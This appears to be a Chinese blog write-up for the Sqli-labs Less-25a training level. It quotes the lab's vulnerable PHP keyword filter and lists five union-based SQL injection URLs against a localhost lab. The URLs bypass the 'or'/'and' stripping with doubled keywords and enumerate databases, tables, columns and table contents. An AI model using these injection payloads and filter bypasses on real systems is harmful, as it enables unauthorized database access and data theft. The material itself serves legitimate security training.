zoukankan      html  css  js  c++  java
  • Sqli-labs Less-25a 绕过or和and过滤 union注入

    关键代码

    function blacklist($id)
    {
    	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
    	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
    	
    	return $id;
    }
    $id=$_GET['id'];
    $id= blacklist($id);
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    
    //print_r(mysql_error());
    

    不同于25关的是sql语句中对于id,没有''的包含,同时没有输出错误项,报错注入不能用。其余基本上和25示例没有差别。此处可以采取两种方式:延时注入和联合注入。

    联合注入 示例

    1、获取当前数据库

    http://127.0.0.1/sql/Less-25a/index.php?id=-1 union select 1,(select database()),2

    2、获取所有数据库

    http://127.0.0.1/sql/Less-25a/index.php?id=-1 union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),2

    这里将information_schema改为infoorrmation_schema来绕过or过滤。

    3、查看security库数据表

    http://127.0.0.1/sql/Less-25a/index.php?id=-1 union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),2

    4、查看referers表的所有列

    http://127.0.0.1/sql/Less-25a/index.php?id=-1 union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' aandnd table_name='referers'),2

    这里使用aandnd来绕过and过滤。

    5、获取内容

    http://127.0.0.1/sql/Less-25a/index.php?id=-1 union select 1,(select group_concat(id,0x3e,referer,0x3e,ip_address) from referers),2

  • 相关阅读:
    最佳调度问题_分支限界法
    运动员最佳配对问题
    最小重量机器设计问题
    实现银行家算法和先进先出算法_对文件读写数据
    n皇后问题_回溯法
    0-1背包_回溯法
    根据前序、中序、后序遍历还原二叉树
    矩阵连乘问题_动态规划
    最长公共子序列_动态规划
    最优二叉查找树_动态规划
  • 原文地址:https://www.cnblogs.com/zhengna/p/12635017.html
Copyright © 2011-2022 走看看